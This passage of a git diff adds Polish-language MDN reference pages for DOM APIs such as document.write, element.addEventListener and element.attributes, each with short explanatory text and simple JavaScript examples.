+<pre class="eval"><i>ciąg</i> = document.URL
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">var currentURL = document.URL;
+alert(currentURL);
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>URL ma zastąpić używaną w DOM Level 0 własność <code>document.location.href</code>. Jednakże, w przeciwieństwie do niej, <code>document.URL</code> nie można ustawiać.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-46183437">DOM Level 2 HTML: URL</a></p>
+<p>{{ languages( { "en": "en/DOM/document.URL", "es": "es/DOM/document.URL", "ja": "ja/DOM/document.URL" } ) }}</p>
diff --git a/files/pl/web/api/document/vlinkcolor/index.html b/files/pl/web/api/document/vlinkcolor/index.html
new file mode 100644
index 0000000000..b33a53c482
--- /dev/null
+++ b/files/pl/web/api/document/vlinkcolor/index.html
@@ -0,0 +1,29 @@
+---
+title: document.vlinkColor
+slug: Web/API/Document/vlinkColor
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/vlinkColor
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca/ustawia kolor odwiedzonych linków w dokumencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>kolor</i> = document.vlinkColor
+document.vlinkColor =<i>kolor</i>
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>kolor</code> jest ciągiem zawierającym nazwę koloru (np. "blue", "darkblue", itp.) lub wartość szesnastkową (np. "#fefdf8").</li>
+</ul>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Domyślną wartością tej własności jest
+ <i>
+ purple</i>
+ .</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0 - brak w specyfikacji.</p>
+<p>{{ languages( { "en": "en/DOM/document.vlinkColor" } ) }}</p>
diff --git a/files/pl/web/api/document/width/index.html b/files/pl/web/api/document/width/index.html
new file mode 100644
index 0000000000..af36011079
--- /dev/null
+++ b/files/pl/web/api/document/width/index.html
@@ -0,0 +1,28 @@
+---
+title: document.width
+slug: Web/API/Document/width
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/width
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca szerokość bieżącego dokumentu w pikselach.</p>
+<p>Nie obsługiwana przez IE.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>piksele</i> = document.width
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">function init() {
+ alert("Szerokość dokumentu wynosi " + document.width + " pikseli.");
+}
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zobacz także <a href="pl/DOM/document.height">DOM:document.height</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/document.width" } ) }}</p>
diff --git a/files/pl/web/api/document/write/index.html b/files/pl/web/api/document/write/index.html
new file mode 100644
index 0000000000..24daccf070
--- /dev/null
+++ b/files/pl/web/api/document/write/index.html
@@ -0,0 +1,38 @@
+---
+title: document.write
+slug: Web/API/Document/write
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/write
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zapisuje ciąg tekstu w strumieniu dokumentu otwartym przez <a href="pl/DOM/document.open">document.open</a>.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">document.write(<i>tekst</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>tekst</code> jest ciągiem znaków preznaczonym do zapisania w dokumencie.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>document.open();
+document.write("&lt;h1&gt;witam!&lt;/h1&gt;");
+document.close();
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zapis do dokumentu, który już się załadował, bez wywoływania <code>document.open</code> spowoduje automatyczne przeprowadzenie <code>document.open</code>. Zaleca się wywołanie <a href="pl/DOM/document.close">document.close</a> po skończeniu zapisu, aby poinformować przeglądarkę, by zakończyła ładowanie strony. Tekst, który zapisujesz, jest parsowany i trafia do modelu struktury dokumentu. W poniższym przykładzie element H1 staje się węzłem. Jeżeli wywołanie <code>document.write()</code> zostało zagnieżdżone bezpośrednio w kodzie HTML, nie spowoduje ono uruchomienia <code>document.open</code>. Np.:</p>
+<pre> &lt;div&gt;
+ &lt;script type="text/javascript"&gt;
+ document.write("&lt;h1&gt;Main title&lt;/h1&gt;")
+ &lt;/script&gt;
+ &lt;/div&gt;
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-75233634">write </a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/document.write", "fr": "fr/DOM/document.write", "ja": "ja/DOM/document.write" } ) }}</p>
diff --git a/files/pl/web/api/document/writeln/index.html b/files/pl/web/api/document/writeln/index.html
new file mode 100644
index 0000000000..f70d4f72a4
--- /dev/null
+++ b/files/pl/web/api/document/writeln/index.html
@@ -0,0 +1,41 @@
+---
+title: document.writeln
+slug: Web/API/Document/writeln
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/writeln
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zapisuje w dokumencie ciąg tekstu, a po nim znak nowej linii.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">document.writeln(<i>linia</i>)
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<ul>
+ <li><code>linia</code> jest ciągiem zawierającym wiersz tekstu do wpisania.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>document.writeln("&lt;p&gt;podaj hasło:&lt;/p&gt;");
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p><b>document.writeln</b> nie różni się niczym od <a href="pl/DOM/document.write">document.write</a>, poza tym, że dodaje na końcu znak nowego wiersza.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-35318390">writeln </a></p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/document.writeln", "ja": "ja/DOM/document.writeln" } ) }}</p>
diff --git a/files/pl/web/api/domapplicationsmanager/getall/index.html b/files/pl/web/api/domapplicationsmanager/getall/index.html
new file mode 100644
index 0000000000..272c82b938
--- /dev/null
+++ b/files/pl/web/api/domapplicationsmanager/getall/index.html
@@ -0,0 +1,47 @@
+---
+title: DOMApplicationsManager.getAll()
+slug: Web/API/DomApplicationsManager/getAll
+translation_of: Archive/Marketplace/API/DOMApplicationsManager/getAll
+---
+<p><span style="display: none;"> </span> </p>
+
+<pre>{{ ApiRef("Apps") }}</pre>
+
+<p>{{ non-standard_header() }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Lists all installed apps in the user's repository.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre>window.navigator.mozApps.mgmt.getAll()
+</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>getAll()</code> returns a <code>pendingGetAll</code> object. Callers are expected to set the <code>onsuccess</code> and <code>onerror</code> callback properties of the returned object.</p>
+
+<p><code>pendingGetAll.result</code> will be an array of <code>App</code> objects that contains all the apps installed in the current browser. <code>pendingGetAll.result</code> will be the empty list if no apps are installed. <code>onerror</code> will be called if a serious problem occurs while checking this.</p>
+
+<p>This is a privileged call. <code>navigator.mozApps.mgmt</code> will be <code>null</code> if you do not have the privilege to query apps.</p>
+
+<h3 id="Errors">Errors</h3>
+
+<p>The following error can be returned in <code>DOMRequest.error</code>.</p>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>DENIED</dt>
+ <dd>Permission denied.</dd>
+</dl>
+
+<h2 id="Related_topics">Related topics</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Apps/JavaScript_API">Apps JavaScript API</a></li>
+</ul>
+
+<p><span style="display: none;"> </span> </p>
diff --git a/files/pl/web/api/domapplicationsmanager/index.html b/files/pl/web/api/domapplicationsmanager/index.html
new file mode 100644
index 0000000000..e19495d68e
--- /dev/null
+++ b/files/pl/web/api/domapplicationsmanager/index.html
@@ -0,0 +1,86 @@
+---
+title: DOMApplicationsManager
+slug: Web/API/DOMApplicationsManager
+tags:
+ - API
+ - Apps
+ - Apps API
+ - NeedsTranslation
+ - TopicStub
+translation_of: Archive/Marketplace/API/DOMApplicationsManager
+---
+<p>{{ ApiRef("Apps") }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>Provides support for managing, and Open Web apps in a browser. A manager can be accessed via {{domxref("DOMApplicationsRegistry.mgmt", "Navigator.mozApps.mgmt")}}</p>
+
+<h2 id="Property">Property</h2>
+
+<dl>
+ <dt>{{domxref("DOMApplicationsManager.oninstall")}}</dt>
+ <dd>Is an {{domxref("EventManager")}} call when <code>install</code> event is received.</dd>
+ <dt>{{domxref("DOMApplicationsManager.onuninstall")}}</dt>
+ <dd>Is an {{domxref("EventManager")}} call when <code>uninstall</code> event is received.</dd>
+ <dt>{{domxref("DOMApplicationsManager.onenablestatechange")}}</dt>
+ <dd>Is an {{domxref("EventManager")}} call when <code>enablestatechange</code> event is received.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{ domxref("DOMApplicationsManager.getAll()") }}</dt>
+ <dd>Returns all applications.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>16.0</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>16.0</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/pl/web/api/element/addeventlistener/index.html b/files/pl/web/api/element/addeventlistener/index.html
new file mode 100644
index 0000000000..781ec7f3b6
--- /dev/null
+++ b/files/pl/web/api/element/addeventlistener/index.html
@@ -0,0 +1,109 @@
+---
+title: element.addEventListener
+slug: Web/API/Element/addEventListener
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/EventTarget/addEventListener
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Metoda <code>addEventListener</code> pozwala zarejestrować obserwatora zdarzeń dla określonego typu zdarzenia na elemencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><em>target</em>.addEventListener(<em>type</em>, <em>listener</em>, <em>useCapture</em>);
+</pre>
+<dl>
+ <dt>
+ type </dt>
+ <dd>
+ Łańcuch przedstawiający typ zdarzenia do nasłuchu.<span class="comment">Need a link here</span></dd>
+ <dt>
+ listener </dt>
+ <dd>
+ Obiekt, który otrzymuje zawiadomienie, gdy nastąpi zdarzenie określonego typu. Musi być zaimplementowanym obiektem interfejsu <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener"><code>EventListener</code></a> lub pojedynczą <a href="/pl/Przewodnik_po_języku_JavaScript_1.5#Funkcje" title="pl/Przewodnik_po_języku_JavaScript_1.5#Funkcje">funkcją</a> JavaScript.</dd>
+ <dt>
+ useCapture </dt>
+ <dd>
+ Jeśli zostanie ustawione na <code>true</code>, <code>useCapture</code> wskazuje, że użytkownik chce przechwytywać zdarzenia. Po rozpoczęciu przechwytywania, wszystkie zdarzenia typu <code>type</code> będą przekazywane do naszego <code>listener</code>'a zanim zostaną wysłane do innych obiektów nasłuchujących (<code>EventTarget</code>) znajdujących się poniżej w drzewie DOM. Zdarzenia, które propagują w górę drzewa nie uruchamiają systemu nasłuchującego (<code>listener</code>) ustawionego na przechwytywanie.</dd>
+</dl>
+<p>Dla uzyskania szczegółowego objaśnienia zobacz <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events</a>.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> &lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;Przykład zdarzenia DOM&lt;/title&gt;
+ &lt;style type="text/css"&gt;
+ #t { border: 1px solid red }
+ #t1 { background-color: pink; }
+ &lt;/style&gt;
+ &lt;script type="text/javascript"&gt;
+
+ // Funkcja zmieniająca zawartość komórki tabeli t2
+ function modifyText() {
+ var t2 = document.getElementById("t2");
+ t2.firstChild.nodeValue = "Trzy";
+ }
+
+ // Funkcja dodająca obserwatora zdarzeń dla tabeli t
+ function load() {
+ var el = document.getElementById("t");
+ el.addEventListener("click", modifyText, false);
+ }
+
+ &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body onload="load();"&gt;
+ &lt;table id="t"&gt;
+ &lt;tr&gt;&lt;td id="t1"&gt;Jeden&lt;/td&gt;&lt;/tr&gt;
+ &lt;tr&gt;&lt;td id="t2"&gt;Dwa&lt;/td&gt;&lt;/tr&gt;
+ &lt;/table&gt;
+ &lt;/body&gt;
+ &lt;/html&gt;
+</pre>
+<p>W powyższym przykładzie, funkcja <code>modifyText()</code> została zarejestrowana za pomocą <code>addEventListener()</code> do obsługi zdarzenia typu <code>click</code> na tabeli <code>t</code>. Kliknięcie w dowolnym miejscu tej tabeli rozpocznie propagowanie zdarzenia i wywoła funkcję <code>modifyText()</code>.</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<h4 id="Po_co_u.C5.BCywa.C4.87_addEventListener.3F" name="Po_co_u.C5.BCywa.C4.87_addEventListener.3F">Po co używać <code>addEventListener</code>?</h4>
+<p><code>addEventListener</code> daje możliwość zarejestrowania obsługi zdarzenia według specyfikacji W3C DOM. Korzyści są następujące:</p>
+<ul>
+ <li>Pozwala na dodanie więcej niż jednego obiektu obsługującego zdarzenie. Jest to szczególnie użyteczne przy bibliotekach <a href="/pl/DHTML" title="pl/DHTML">DHTML</a> czy <a href="/pl/Rozszerzenia" title="pl/Rozszerzenia">rozszerzeniach Mozilli</a>, które pracują, gdy uruchomione są inne biblioteki i rozszerzenia,</li>
+ <li>Daje większą kontrolę nad etapem aktywacji obiektu nasłuchującego <code>listener</code> (przechwytywanie vs. propagowanie),</li>
+ <li>Działa dla każdego elementu z DOM, a nie tylko dla elementów HTML.</li>
+</ul>
+<p>Alternatywne, starsze sposoby rejestracji zdarzeń są <a href="#Starsze_sposoby_do.C5.82.C4.85czania_zdarze.C5.84">opisane poniżej</a>.</p>
+<h4 id="Dodawanie_nas.C5.82uchu_podczas_obs.C5.82ugi_zdarzenia" name="Dodawanie_nas.C5.82uchu_podczas_obs.C5.82ugi_zdarzenia">Dodawanie nasłuchu podczas obsługi zdarzenia</h4>
+<p>Jeśli podczas obsługi zdarzenia zostanie dodany nowy obiekt nasłuchujący to zdarzenie, nie zostanie on uruchomiony dla tego zdarzenia. Może zostać wywołany podczas dalszego etapu przepływu zdarzeń(<code>Event flow</code>), np. w fazie propagowania zdarzenia w górę drzewa DOM.</p>
+<h4 id="Identyczne_obiekty_nas.C5.82uchuj.C4.85ce" name="Identyczne_obiekty_nas.C5.82uchuj.C4.85ce">Identyczne obiekty nasłuchujące</h4>
+<p>Jeśli kilka identycznych obiektów nasłuchujących zostanie zarejestrowanych dla tego samego zdarzenia (<code>EventTarget</code>) z tymi samymi parametrami to duplikaty są ignorowane. Obiekt nasłuchujący nie będzie wywołany więcej niż jeden raz. Powielone powiązania nie muszą być usuwane ręcznie za pomocą funkcji <code><a href="/pl/DOM/element.removeEventListener" title="pl/DOM/element.removeEventListener">removeEventListener</a></code>, ponieważ są one usuwane automatycznie.</p>
+<h4 id="Warto.C5.9B.C4.87_this" name="Warto.C5.9B.C4.87_this">Wartość <code>this</code></h4>
+<p>Doczepianie akcji używając <code>addEventListener()</code> zmienia wartość <code>this</code>—zauważ, że wartość <code>this</code> ijest przekazywana funkcji przez zdarzenie.</p>
+<p>W powyższym przykładzie, wartość <code>this</code> wewnątrz <code>modifyText()</code> gdy zostanie wywołana ze zdarzenia onclick event jest odwołaniem do tabeli 't'. Jeśli obsługa zdarzenia onclick jest dodana w źródle HTML:</p>
+<pre>&lt;table id="t" onclick="modifyText();"&gt;
+ ...
+&lt;/table&gt;
+</pre>
+<p>to wartość <code>this</code> wewnątrz funkcji <code>modifyText()</code> wywołanej z poziomu zdarzenia onclick będzie odwołaniem od obiektu globalnego(window).</p>
+<h4 id="Internet_Explorer" name="Internet_Explorer">Internet Explorer</h4>
+<p>W IE 8 i niższych należy użyć <code>attachEvent</code> zamiast standardowego <code>addEventListener</code>. By wspierać IE, powyższy przykład może zostać zmodyfikowany do:</p>
+<pre>if (el.addEventListener){
+ el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent){
+ el.attachEvent('onclick', modifyText);
+}
+</pre>
+<h4 id="Starsze_sposoby_do.C5.82.C4.85czania_zdarze.C5.84" name="Starsze_sposoby_do.C5.82.C4.85czania_zdarze.C5.84">Starsze sposoby dołączania zdarzeń</h4>
+<p><code>addEventListener()</code> zostało wprowadzone wraz ze specyfikacją DOM 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a>. Wcześniej, zdarzenia były dołączone jak pokazano poniżej:</p>
+<pre>// Using a function reference—note lack of '()'
+el.onclick = modifyText;
+
+// Używając deklaracji funkcji
+element.onclick = function(){
+ // ... logika funkcji ...
+ };
+</pre>
+<p>Ta metoda zastępuje istniejącą obsługę zdarzenia <code>onclick</code> na elemencie jeśli jest jakakolwiek. Podobnie do innych zdarzeń 'on' takich jak <code>onblur</code>, <code>onkeypress</code>, i tak dalej.</p>
+<p>Ponieważ była to istotna część DOM 0, ta metoda jest bardzo szeroko wspierana i nie wymaga specjalnych kodów do różnych przeglądarek; stąd też jest to normalnie używana do dynamicznego zaczepienia obsługi zdarzenia jeśli nie potrzeba dodatkowych możliwości  <code>addEventListener()</code>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventTarget-addEventListener">DOM Level 2 Events: addEventListener</a></p>
+<p>{{ languages( { "en": "en/DOM/element.addEventListener", "fr": "fr/DOM/element.addEventListener", "ja": "ja/DOM/element.addEventListener" } ) }}</p>
diff --git a/files/pl/web/api/element/appendchild/index.html b/files/pl/web/api/element/appendchild/index.html
new file mode 100644
index 0000000000..ae2b141231
--- /dev/null
+++ b/files/pl/web/api/element/appendchild/index.html
@@ -0,0 +1,52 @@
+---
+title: element.appendChild
+slug: Web/API/Element/appendChild
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/appendChild
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Metoda <code>Node.appendChild()</code> wstawia określony węzeł na koniec listy dzieci określonego rodzica. Jeśli węzeł ma już rodzica, jest on najpierw od niego oddzielany.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>var dziecko = element</em>.appendChild(<em>dziecko</em>)
+</pre>
+
+<ul>
+ <li><code>element</code> jest rodzicem elementu.</li>
+ <li><code>dziecko</code> jest węzłem.</li>
+</ul>
+
+<h3 id="Opis">Opis</h3>
+
+<p>Metoda <code>appendChild</code> zwraca referencję do dodanego węzła. </p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>// Tworzy nowy element paragrafu
+var p = document.createElement("p");
+
+// Wstawia go na koniec ciała dokumentu
+document.body.appendChild(p);
+</pre>
+
+<p> </p>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p><code>appendChild</code> jest jedną z fundamentalnych metod w programowaniu z użyciem DOM. Metoda ta wstawia nowy węzeł do struktury DOM dokumentu HTML. Jest to druga część procesu <em>stwórz-i-wstaw</em>, podstawowego przy programowym budowaniu strony. Inne związane z tym metody to <a href="/pl/DOM/element.insertBefore" title="pl/DOM/element.insertBefore">insertBefore</a>, <a href="/pl/DOM/element.replaceChild" title="pl/DOM/element.replaceChild">replaceChild</a> i <a href="/pl/DOM/element.removeChild" title="pl/DOM/element.removeChild">removeChild</a>.</p>
+
+<p>Jeśli <code>dziecko</code> jest referencją do węzła, który istnieje już w dokumencie, <code>appendChild</code> przenosi go z dotychczasowej pozycji w nowe miejsce (tj. nie ma potrzeby odzielać węzeł od jego rodzica przed wstawieniem go do innego węzła).</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-184E7107">DOM Level 2 Core: appendChild</a></p>
+
+<p>{{ languages( { "en": "en/DOM/element.appendChild", "fr": "fr/DOM/element.appendChild", "ja": "ja/DOM/element.appendChild" } ) }}</p>
diff --git a/files/pl/web/api/element/attributes/index.html b/files/pl/web/api/element/attributes/index.html
new file mode 100644
index 0000000000..5ae9839a79
--- /dev/null
+++ b/files/pl/web/api/element/attributes/index.html
@@ -0,0 +1,82 @@
+---
+title: element.attributes
+slug: Web/API/Element/attributes
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/attributes
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><strong>attributes</strong> zwraca <em>kolekcję</em> atrybutów określonych dla danego elementu.</p>
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval">var <var>kolekcjaAtrybutów</var> = elementNodeReference.attributes;
+</pre>
+<p>Typem zwracanego obiektu kolekcji jest <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1780488922">NamedNodeMap</a>. Jeśli element nie ma określonych żadnych atrybutów, zwrócony obiekt ma zerową długość. Właściwość <code>attributes</code> jest tylko do odczytu.</p>
+<p><var>kolekcjaAtrybutów</var> to referencja do kolekcji atrybutów.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// weź pierwszy element &lt;p&gt; z dokumentu
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zwracany obiekt ma typ <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1780488922">NamedNodeMap</a>, nazywany także <em>kolekcją</em>, będący listą węzłów, a nie ciągów znakowych. Właściwości obiektów atrybutów dostępne są poprzez indeks, tak jak w poniższym przykładzie, który pobiera parę nazwa/wartość pierwszego atrybutu akapitu "p1":</p>
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;html&gt;
+
+ &lt;head&gt;
+ &lt;title&gt;Attributes example&lt;/title&gt;
+ &lt;script type="text/javascript"&gt;
+ function showFirstAttr()
+ {
+ var FirstParg = document.getElementById("p1");
+ var outputText = document.getElementById("result");
+
+ if (FirstParg.hasAttributes())
+ // sprawdźmy, czy FirstParg ma atrybuty
+ {
+ outputText.value = FirstParg.attributes[0].name + "-&gt;"
+ + FirstParg.attributes[0].value;
+ }
+ else
+ {
+ outputText.value = "Brak atrybutów do wyświetlenia"
+ };
+ }
+ &lt;/script&gt;
+ &lt;/head&gt;
+
+&lt;body&gt;
+ &lt;p id="p1" style="color: green;"&gt;Przykładowy akapit&lt;/p&gt;
+ &lt;form action=""&gt;
+ &lt;p&gt;&lt;input type="button" value="Pokaż nazwę i wartość pierwszego atrybutu"
+ onclick="showFirstAttr();"&gt;
+ &lt;input id="result" type="text" value=""&gt;&lt;/p&gt;
+ &lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>Obiekt z atrybutami jest <em>kolekcją</em>, która podobna jest do tablicy, ponieważ ma właściwość <code>length</code>, a do atrybutów można odnosić się poprzez indeks liczbowy, ale kolekcja nie posiada specjalnych metod, jakie mają tablice, jak <code>join</code>, <code>split</code>, itd.</p>
+<p>Kolejność w kolekcji atrybutów nie jest wiarygodna - dwie przeglądarki po otrzymaniu takiego samego kodu znaczników mogą zwracać różnie uporządkowane obiekty <code>attributes</code>.</p>
+<p>By uzyskać dostęp do konkretnego atrybutu, użyj metody <a href="/pl/DOM/element.getAttribute" title="pl/DOM/element.getAttribute">getAttribute</a> lub zapisu z użyciem kropki:</p>
+<pre> // pokaż id elementu, jeśli element go posiada
+ if(element.id)
+ {
+ alert("id elementu to " + element.id);
+ }
+ else
+ {
+ alert("element nie ma id");
+ };
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-84CF096">W3C DOM Level 2 Core: attributes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-84CF096">W3C DOM Level 3 Core: attributes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1780488922">W3C DOM Level 3 NamedNodeMap interface</a></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.attributes", "fr": "fr/DOM/element.attributes", "ja": "ja/DOM/element.attributes", "zh-cn": "cn/DOM/element.attributes" } ) }}</p>
diff --git a/files/pl/web/api/element/blur/index.html b/files/pl/web/api/element/blur/index.html
new file mode 100644
index 0000000000..1febd21617
--- /dev/null
+++ b/files/pl/web/api/element/blur/index.html
@@ -0,0 +1,21 @@
+---
+title: element.blur
+slug: Web/API/Element/blur
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLOrForeignElement/blur
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Metoda <b>blur</b> dezaktywuje bieżący element (usuwa focus).</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">element.blur()
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-28216144">blur</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.blur", "fr": "fr/DOM/element.blur" } ) }}</p>
diff --git a/files/pl/web/api/element/childnodes/index.html b/files/pl/web/api/element/childnodes/index.html
new file mode 100644
index 0000000000..2f15d119e2
--- /dev/null
+++ b/files/pl/web/api/element/childnodes/index.html
@@ -0,0 +1,49 @@
+---
+title: element.childNodes
+slug: Web/API/Element/childNodes
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/childNodes
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>childNodes </b> zwraca kolekcję węzłów-dzieci elementu.</p>
